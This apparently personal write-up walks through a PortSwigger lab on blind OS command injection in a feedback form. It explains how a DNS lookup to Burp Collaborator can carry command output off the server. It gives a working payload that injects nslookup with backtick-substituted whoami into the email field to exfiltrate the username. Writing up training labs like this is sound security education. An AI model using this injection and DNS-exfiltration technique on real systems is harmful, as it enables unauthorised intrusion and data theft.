The lab

here is how portswigger describes it

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

this follows the out of band interaction lab. there we only had to prove the command ran, by firing a dns lookup to collaborator. this time we go one step further and actually carry data out through that lookup, the output of whoami, by stitching it into the hostname we look up.

The idea#

the previous lab showed that even a fully blind command can be confirmed by making the server do a dns lookup for a domain we control. the key realisation here is that a dns lookup carries a hostname, and we get to choose that hostname. so if we build the hostname out of the output of a command, the server's own dns query ships that output to us.

the shell feature that makes this possible is command substitution, written with backticks. when the shell sees a command wrapped in backticks, it runs that command first and drops its output in place before running the rest of the line. so nslookup `whoami`.collaborator runs whoami, gets the username, and looks up username.collaborator. the username becomes the front label of the domain we resolve, and collaborator logs the full hostname of every lookup it receives, so the username arrives in our logs.

Step 1 - Find the feedback feature#

the home page has the same products and feedback button as the previous labs.

clicking feedback opens the feedback form.

we submit some feedback, intercept the request, and send it to repeater.

Step 2 - Inject an Exfiltrating dns lookup#

in burp we open the collaborator tab, copy a fresh collaborator subdomain, and change the email parameter to this, with our real subdomain in place of the placeholder.

email=x||nslookup+`whoami`.your-collaborator-subdomain||

reading it, the || runs our command after the application's intended one fails. the backticks around whoami are command substitution, the shell runs whoami first and splices its output into the hostname, so the thing actually looked up becomes something like peter-abc123.your-collaborator-subdomain. resolving that name forces the server to send a dns query for it to collaborator, carrying the username as the first label. the trailing || caps the injection. we send it, and as always with a fully blind bug the response tells us nothing useful.

Step 3 - Read the username from collaborator#

we switch to the collaborator tab and poll, and there are dns interactions from the lab server.

looking at the hostname of the lookup, the part in front of our subdomain is the output of whoami, the current user's name.

we enter that username to complete the lab.

with this, we solved the lab!